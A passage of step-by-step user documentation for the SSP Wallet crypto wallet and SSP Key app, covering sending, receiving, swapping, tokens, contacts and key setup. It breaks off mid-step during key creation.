<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FrOANrAc7m7MOWGnNY2tF%2Fimage.png?alt=media&amp;token=dc74bc34-7110-4455-9717-c143e3ef16aa" alt="" width="308"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F9nyEo1x4gonjz7iHnywt%2Fimage.png?alt=media&amp;token=58face42-8ec5-4c46-8170-0f0f2b8f18ff" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FbIL6JOnjVGciwIZcdioW%2Fimage.png?alt=media&amp;token=67b1a132-0d34-4f5e-bbc3-37182e908c4c" alt="" width="208"><figcaption></figcaption></figure></div>

Click "Address Details"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fyt6R8DIANFSKyj64M3gN%2Fimage.png?alt=media&amp;token=c22a7f45-6b0d-44b8-a41b-cebe50ed7519" alt="" width="302"><figcaption></figcaption></figure></div>

Input your password in "Confirm with Password" text box, then click "Grant Access"

{% hint style="info" %}
You may use the QR code or manually copy your wallet address
{% endhint %}

Congratulations for retrieving your wallet address!


# Transaction

This is a section for transaction


# Buy / Sell

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FuDHza4ROmrNZTix8z6fu%2Fimage.png?alt=media&amp;token=2d6bd692-4da5-4a03-ba2a-d68acb61f9f4" alt="" width="308"><figcaption></figcaption></figure></div>

From your Home screen click the "Buy / Sell" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fg3iZeUBvrxzFw72Vd1qg%2Fimage.png?alt=media&amp;token=2727566b-57d1-48de-863b-0c7de6f3afb8" alt="" width="305"><figcaption></figcaption></figure></div>

Click "I acknowledge the assiociated risks and wish to proceed" button

Then you will be redirected to a third party buy sell page

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F2OOQuOxuWoRpIZEPb4l8%2Fimage.png?alt=media&amp;token=5eb9b8ca-b25a-46b3-b534-efb5c341767b" alt="" width="304"><figcaption></figcaption></figure></div>

{% hint style="info" %}
Every Fiat and Crypto have different provider so buying or selling process may vary from time to time
{% endhint %}

Congratulations for buying or selling your crypto or fiat asset!


# Swap

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FuDHza4ROmrNZTix8z6fu%2Fimage.png?alt=media&amp;token=2d6bd692-4da5-4a03-ba2a-d68acb61f9f4" alt="" width="308"><figcaption></figcaption></figure></div>

From your Home screen click the "Swap" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fd2ttEolppjvoFUYwxwFe%2Fimage.png?alt=media&amp;token=59f83400-70ef-466a-b90a-811c8b2aad8e" alt="" width="308"><figcaption></figcaption></figure></div>

{% hint style="info" %}
You must have the target chain activated in your SSP Wallet to use the swap functionality — see [Switch Chain](/docs/getting-started-with-ssp-wallet/switch-chain)
{% endhint %}

Click "Continue" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FXuFj9BDPziQcihW9POP2%2Fimage.png?alt=media&amp;token=9e969ce1-c0d2-4018-ace4-0c968e00d3ba" alt="" width="308"><figcaption></figcaption></figure></div>

{% hint style="info" %}
Make sure to have proper funds on your selected chain and confirm the details of your transaction
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FNSpFFo4RIBdZ0FqmAUtT%2Fimage.png?alt=media&amp;token=110f6c36-09b2-4fe1-bcb7-231bb1debc48" alt="" width="308"><figcaption></figcaption></figure></div>

Click "Send and Swap for" button and once corfirmed that your transaction is correct click "Send"

{% hint style="info" %}
Confirm your transaction by using your SSP Key — slide to approve, then confirm with biometrics or password. See [Approving Requests with SSP Key](/docs/getting-started-with-ssp-key/approving-requests-with-ssp-key)
{% endhint %}

Congratulations for swapping your crypto or fiat asset!


# Send

Sending in SSP Wallet v2 is one unified, guided flow for every chain — three steps: **Details → Review → Approve**.

From your Home screen click the "Send" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F7iBl9KHnOqnrjA40HSn1%2Fimage.png?alt=media&amp;token=6843d122-4f23-4cd7-aed1-3ac6ad1d51a3" alt="" width="308"><figcaption></figcaption></figure></div>

## Step 1 — Details

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FmXDqC0NuuuWMPxxQRDC3%2Fimage.png?alt=media&amp;token=f3a1fc78-2d86-48ec-abe7-42c6036521b5" alt="" width="311"><figcaption></figcaption></figure></div>

Provide values for the following

* Receiver Address - The address of your crypto recipient
* Amount to Send - The amount you will send to your crypto recipient (use **Max** to send everything after fees)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FDLQEnNMGCkM8XCgLNp2E%2Fimage.png?alt=media&amp;token=7b67bacf-7efe-428f-8ff3-c46097614f3c" alt=""><figcaption></figcaption></figure></div>

{% hint style="info" %}
Amount to Send should be within the Max limit
{% endhint %}

{% hint style="info" %}
If you already have saved contacts, you may use them from the Receiver Address field — recent recipients are offered too. You can also scan a QR code of the recipient's address.

For creating contacts see [Create New Contact](/docs/getting-started-with-ssp-wallet/contacts/create-new-contact).
{% endhint %}

## Step 2 — Review

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FVzKdh3lVEEBKydFH6rhH%2Fimage.png?alt=media&amp;token=08233759-2556-4503-8395-bca0b7d9ecb9" alt="" width="311"><figcaption></figcaption></figure></div>

The review step shows everything about your transaction before anything is signed:

* **To** — the **full recipient address** is always displayed. Check it character by character; this is your moment to catch a wrong or tampered address.
* **Amount** — with its fiat value.
* **Network Fee** — the fee is set **automatically** by default. You can override it: choose **Slow**, **Automatic**, **Fast**, or **Custom** to set your own (per-chain controls such as sat/vB or gas settings live under Custom).

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FP8gOHXa9Wwoi1DuKSdgu%2Fimage.png?alt=media&amp;token=7a973af6-a47b-49b3-9d1f-0c53377d6b23" alt="" width="311"><figcaption></figcaption></figure></div>

When everything checks out, continue to the approval step.

## Step 3 — Approve on your SSP Key

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FmZndWVmKdV7otAFb7Np2%2Fimage.png?alt=media&amp;token=6e75829a-5383-47ec-a417-63ddab3be368" alt="" width="306"><figcaption></figcaption></figure></div>

The wallet shows **"Approve on your SSP Key"** with a live status (*Sent → Awaiting approval → Approved*) while the request travels to your phone. If the request doesn't arrive, use **"Show QR instead"** and scan it with the Key.

On your SSP Key, the transaction is **decoded on the device** and shown in plain language — amount, token, and the full recipient. Verify it matches what you entered, then **slide to approve** and confirm with biometrics or password. See [Approving Requests with SSP Key](/docs/getting-started-with-ssp-key/approving-requests-with-ssp-key).

Once approved, the transaction broadcasts. You can check it in the **Activity** tab (bottom bar).

{% hint style="info" %}
Transaction speed may vary for each chain; you can also visit the chain's block explorer to verify your transactions.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FDqKvXrLz9GIPksREHL7c%2Fimage.png?alt=media&amp;token=0f4e9d86-680e-463c-a388-c93dad33c6d7" alt="" width="308"><figcaption></figcaption></figure></div>

Congratulations on your first sending crypto transaction!


# Receive

From your Home screen click the "Receive" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FIVRoQpSfwZtTo9aJElq7%2Fimage.png?alt=media&amp;token=a53a58a8-7ce7-48d0-90cf-26bc5023e7ca" alt="" width="308"><figcaption></figcaption></figure></div>

You will see a QR code which can be scanned by the sender of the crypto, or alternatively you can copy your wallet address and send it to be inputted manually by the sender.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FiwLsb0Rh9k4PgZJ51EIP%2Fimage.png?alt=media&amp;token=1c6ade6a-656f-4f43-a890-5696854c06d3" alt="" width="311"><figcaption></figcaption></figure></div>

You can check the transaction in the "Activity" tab (bottom bar).

Scroll from the list of transactions to check your current transaction.

{% hint style="info" %}
Transaction speed may vary from each chain, you can also visit the block explorer of the chain to verify your transactions.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F4RKwOvOUpSsRmfsyapLc%2Fimage.png?alt=media&amp;token=1792e359-b6d5-48ea-b2c3-8d1e47f2f65f" alt="" width="375"><figcaption></figcaption></figure></div>

Congratulations on your first receiving crypto transaction!


# Export Transactions

{% hint style="info" %}
Exporting transactions enables you to download a copy of your transactions. The file downloaded will have CSV format and can be viewable using any supported application.
{% endhint %}

Open the "Activity" tab from the bottom bar (the clock icon)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F4RKwOvOUpSsRmfsyapLc%2Fimage.png?alt=media&amp;token=1792e359-b6d5-48ea-b2c3-8d1e47f2f65f" alt="" width="375"><figcaption></figcaption></figure></div>

Scroll down until the bottom of the list and you will find the "Export Transactions" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FFDapiEk020ZwpqUpfYSN%2Fimage.png?alt=media&amp;token=2576c359-940a-44b9-a249-ed03c161728c" alt="" width="314"><figcaption></figcaption></figure></div>

Click "Export Transactions" button

{% hint style="info" %}
The CSV will be available from your browser's download folder. Please check your browser documentation since every browser client have different download folder location.
{% endhint %}

{% hint style="info" %}
You can open the CSV file using supported spread sheet or text editor.
{% endhint %}

Congratulations for exporting your transactions!


# View Transactions

{% hint style="info" %}
Viewing your transactions enables you to verify current and previous transaction from your wallet accordingly.
{% endhint %}

Open the "Activity" tab from the bottom bar (the clock icon)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F4RKwOvOUpSsRmfsyapLc%2Fimage.png?alt=media&amp;token=1792e359-b6d5-48ea-b2c3-8d1e47f2f65f" alt="" width="375"><figcaption></figcaption></figure></div>

Scroll through the list to check your recent transactions. Click any transaction for details including fees and confirmations.

Alternatively, you can export your transactions — at the bottom of the list you will find the "Export Transactions" button.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FFDapiEk020ZwpqUpfYSN%2Fimage.png?alt=media&amp;token=2576c359-940a-44b9-a249-ed03c161728c" alt="" width="314"><figcaption></figcaption></figure></div>

{% hint style="info" %}
For the exporting transactions guide, see [Export Transactions](/docs/getting-started-with-ssp-wallet/transaction/export-transactions).
{% endhint %}

Congratulations for viewing your transactions!


# Token

This is a section for token


# Add Token to Main Screen

{% hint style="info" %}
Adding a token to your main screen lets you have an overview of your current token amount and the corresponding fiat value.
{% endhint %}

From the **Tokens** section on your Home screen, click "Import Token" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fb6HODakv2Tluzjop3bvf%2Fimage.png?alt=media&amp;token=596c1e63-d942-4767-9f18-ff9041d632a7" alt="" width="308"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FGZQaJO1JYDUzw1gWqKT8%2Fimage.png?alt=media&amp;token=88d808f8-4720-445d-b0f7-1be63d6929a8" alt="" width="314"><figcaption></figcaption></figure></div>

{% hint style="info" %}
You can select multiple token at the same time from the list of tokens presented.
{% endhint %}

{% hint style="info" %}
For easier searching, you can use the Search Token
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FxlzIuzLQ4BKP4o1sLuSz%2Fimage.png?alt=media&amp;token=78507a71-3551-4900-8010-8351affb9dab" alt="" width="314"><figcaption></figcaption></figure></div>

After you selected your preferred token, click "Import Selected" button to continue

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fd8KAjUDhUQ9XVAUvC3t1%2Fimage.png?alt=media&amp;token=333a033c-8085-4295-9055-625d901fdf0b" alt="" width="314"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FMq3ctyUoOMv7QDxFbgOM%2Fimage.png?alt=media&amp;token=6e9aa5a4-17c5-4857-abc6-b70a29046639" alt="" width="311"><figcaption></figcaption></figure></div>

Congratulations for adding a new token on your main screen!


# Remove Token from Main Screen

From the **Tokens** section on your Home screen, choose the token you want to remove by clicking it

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F2vcK3fdg85gWg6KYTTot%2Fimage.png?alt=media&amp;token=17a1c847-24a2-461f-ba12-4253984c687f" alt="" width="375"><figcaption></figcaption></figure></div>

Click the "Remove Token" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fanci2St2pTp2ey7RX2sP%2Fimage.png?alt=media&amp;token=5cc4e6c3-9b3f-43db-a63a-6bf75c6aecc4" alt="" width="375"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FOCSbEkpdYIbbIvaWquXv%2Fimage.png?alt=media&amp;token=96ddf2ca-83a5-4f66-81e5-ef520a6fe2d6" alt="" width="375"><figcaption></figcaption></figure></div>

Click the "Remove Token" to continue

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FjfRWkXEVzcqkfnFVoA1t%2Fimage.png?alt=media&amp;token=d880be7b-288c-47a8-b874-c8d893ea56c4" alt="" width="375"><figcaption></figcaption></figure></div>

Congratulations for removing a new token from your main screen!


# Custom Tokens

This is a section for custom token


# Add Custom Token

{% hint style="info" %}
Adding custom token enables you to add your preferred tokens outside from the list provided by SSP Wallet.
{% endhint %}

From the **Tokens** section on your Home screen, click "Import Token" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FKBTo7bwLbyqQV0gMqo60%2Fimage.png?alt=media&amp;token=0cfbbc87-f79a-4fad-9eba-422d5218d0fd" alt="" width="375"><figcaption></figcaption></figure></div>

Scroll down until the bottom of the list, click "Add Custom Token" link

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fz8frD7qi9xDQ1PfYV1Oj%2Fimage.png?alt=media&amp;token=0b57ce8e-5640-47f4-9e76-fa407820bfb9" alt="" width="314"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FWnDpF4TDyPoSS6qz3XVJ%2Fimage.png?alt=media&amp;token=76bbf380-2f4c-4251-8100-0ee0a07260ae" alt="" width="314"><figcaption></figcaption></figure></div>

Enter the Token Contract Address of your preferred token

{% hint style="info" %}
You can find the token contract address on popular crypto tracker websites like CoinMarketCap.
{% endhint %}

Click "Add To List" button to continue

{% hint style="info" %}
You will be redirected to your Home screen and the token you added will be available in the Tokens section.
{% endhint %}

<figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F7CZbsDT6iibE3rLkjFLA%2Fimage.png?alt=media&amp;token=e601f272-5ec6-4d0e-a66f-68c984a03227" alt=""><figcaption></figcaption></figure>

Congratulations for adding a custom token!


# Delete Custom Token

From the **Tokens** section on your Home screen, click the custom token you want to be deleted

{% hint style="info" %}
This will only remove the custom token from the Tokens section on your Home screen.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FQn58QkCvLh2hoCl7btk4%2Fimage.png?alt=media&amp;token=df07b367-4d80-43e4-8fb2-a23ad7f632a0" alt="" width="375"><figcaption></figcaption></figure></div>

Click "Remove Token" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FPA7NQrMqX6EMvRU7lRdP%2Fimage.png?alt=media&amp;token=3dc3fadb-96a7-4836-9f6b-c69c8c32db7b" alt="" width="375"><figcaption></figcaption></figure></div>

Click "Remove Token" button to continue

{% hint style="info" %}
To completely remove the custom token from your token list, Please follow the steps below.
{% endhint %}

From the **Tokens** section on your Home screen, click "Import Token"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fi99LYuLDNSnEzJa3P5hI%2Fimage.png?alt=media&amp;token=74e3cc22-0bc6-4e1e-8978-f00832aac1b4" alt="" width="375"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F3ajsnVEreCHEnYUcrAQu%2Fimage.png?alt=media&amp;token=1ed2d4ff-8723-425b-862a-8f11b6b83412" alt="" width="314"><figcaption></figcaption></figure></div>

Scroll down until the bottom of the list and you will find your custom token, then click the delete icon to continue.

Congratulations for deleting a custom token!


# Contacts

This is a section for contacts


# Create New Contact

{% hint style="info" %}
Adding contacts enables you to organize the address you frequently deal with. This will be helpful when sending to a receiver address since you just have to select the contact you created.
{% endhint %}

From the **Contacts** section on your Home screen

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F3ntvRYApYSGLPpl6GqjO%2Fimage.png?alt=media&amp;token=366b9ca1-6672-496f-8383-8abad219e6be" alt="" width="375"><figcaption></figcaption></figure></div>

Click "Create New Contact" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FgpvLZegxdmazMuP62i6T%2Fimage.png?alt=media&amp;token=8b0b3d29-e04c-4cad-a374-7b609abca3b4" alt="" width="314"><figcaption></figcaption></figure></div>

Enter the Name and Address of your contact, then click "Save" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FxOz2uP1jium6DOWlTMEA%2Fimage.png?alt=media&amp;token=401ad7d9-c743-49ff-9d9c-e0749eeb0e57" alt="" width="375"><figcaption></figcaption></figure></div>

Congratulations for adding a contact!


# Edit Contact

From the **Contacts** section on your Home screen

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FrM2WsOSFODH4N7idLINX%2Fimage.png?alt=media&amp;token=083fcdce-e939-4bed-8706-77edccd2c12a" alt="" width="375"><figcaption></figcaption></figure></div>

Click the contact you want to edit, then click the "Edit" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fh4zGLlhqlNgfuy0oGhIu%2Fimage.png?alt=media&amp;token=773fa5cc-eb32-4013-a8d4-f8e7789dc472" alt="" width="375"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FgpvLZegxdmazMuP62i6T%2Fimage.png?alt=media&amp;token=8b0b3d29-e04c-4cad-a374-7b609abca3b4" alt="" width="314"><figcaption></figcaption></figure></div>

Enter the updated values for Name and Address of your contact, then click "Save" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FOjYLp5AuCAiXflKtNyWo%2Fimage.png?alt=media&amp;token=b7913e3c-cc23-4bf1-8932-d6aed4747a3b" alt="" width="375"><figcaption></figcaption></figure></div>

Congratulations for editing a contact!


# Delete Contact

From the **Contacts** section on your Home screen

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FP1BulQOfTgVm8EgjSya2%2Fimage.png?alt=media&amp;token=3f60ed36-f833-462d-9391-ce43153204ea" alt="" width="375"><figcaption></figcaption></figure></div>

Click the contact you want to delete, then click the "Edit" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fus1HIdCFqe4fHfcf8hAr%2Fimage.png?alt=media&amp;token=8c4a3874-9978-478d-9786-b9b7c76f05cc" alt="" width="375"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FoQcWcNWpbhO5wmB1i6iT%2Fimage.png?alt=media&amp;token=661d965e-5f8e-4561-a2c8-827f57a150ff" alt="" width="375"><figcaption></figcaption></figure></div>

Click "Delete" button to continue

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FtU3WHMx0QVbuVUuBoOVX%2Fimage.png?alt=media&amp;token=7e58c8fc-ac14-4faa-b6b5-eaa649df11d6" alt="" width="375"><figcaption></figcaption></figure></div>

Congratulations for deleting a contact!


# Logout Your SSP Wallet

Click the **Lock** button at the top right of the wallet, next to the wallet & chain pill

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FV9uVOM2z2O2lAnMguzWi%2Fimage.png?alt=media&amp;token=1c8d4b2a-7da7-47b9-8275-93f40d080c3c" alt="" width="308"><figcaption></figcaption></figure></div>

![](https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FawDKmKCpY9StLsHqMfKv%2Fimage.png?alt=media\&token=bbbd3232-f427-4670-aded-d4905cc11409)

Congratulations for logging out your SSP Wallet!


# Install SSP Key

{% hint style="info" %}
SSP Key can be downloaded on either Android or IOS

* iOS: <https://apps.apple.com/us/app/ssp-key/id6463717332>
* Android: <https://play.google.com/store/apps/details?id=io.runonflux.sspkey>
  {% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FVSmlWlKetOh5hl3U1UXf%2Funnamed.jpg?alt=media&amp;token=817000b1-210d-4355-b0a5-92c38cb85981" alt="" width="375"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FXo109SEYmqa6DxrMZVuO%2FScreenshot_20250114-164846177.jpg?alt=media&amp;token=644ac614-29b2-4dfa-9e9a-87a687ad4aa1" alt="" width="375"><figcaption></figcaption></figure></div>

Click "Install" for Android users and "Get" for iOS users

{% hint style="info" %}
Installation time may vary base on your internet connection. It is recommended to use a network with stable internet connection.
{% endhint %}

After installing the SSP Key you may now open the app.

{% hint style="info" %}
For Android users you will be ask to give permission to send you notifications, this is optional and base on your preference.
{% endhint %}

After giving permission to SSP Key, you may now open and use it

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fhnxb1ApMELkfFfN9uKM8%2Fimage.png?alt=media&amp;token=2f9c42f1-7b24-4cca-98b6-476c324dc244" alt="" width="281"><figcaption></figcaption></figure></div>

Congratulations for installing SSP Key to your device!


# Create a New Key and Syncing to SSP Wallet

{% hint style="info" %}
Please make sure SSP Key is installed in your device. For installing SSP Wallet please use this guide: [https://app.gitbook.com/o/JAOVHXmS0zOqrz6ohvwK/s/OLYjN2kelo3HWVPLgZVU/\~/changes/7/getting-started-with-ssp-key/install-ssp-key](/docs/getting-started-with-ssp-key/install-ssp-key)
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F5YijZmOwgxzmjACMqJ3n%2Fimage.png?alt=media&amp;token=d5031326-e567-470e-8b86-8d7ad1f202d5" alt="" width="281"><figcaption></figcaption></figure></div>

Click "Synchronise Key!"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FKcBG43UAm2OA5KuORSNz%2Fimage.png?alt=media&amp;token=0f80cec9-59b5-4713-b775-7c4c6b4d1918" alt="" width="281"><figcaption></figcaption></figure></div>

Please provide values on "Set SSP Key Password" and "Confirm Key Password" then click "Setup Key!"

{% hint style="info" %}
If you already have a key and you want to restore it to your device you will need to click "Restore Key". Please use this guide:
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FaTXddLEUdautNT6wSvlP%2Fimage.png?alt=media&amp;token=4806b855-37e7-4cf4-9621-5e6b76172b58" alt="" width="281"><figcaption></figcaption></figure></div>

Click "Show Mnemonic Key Seed Phrase"

{% hint style="info" %}
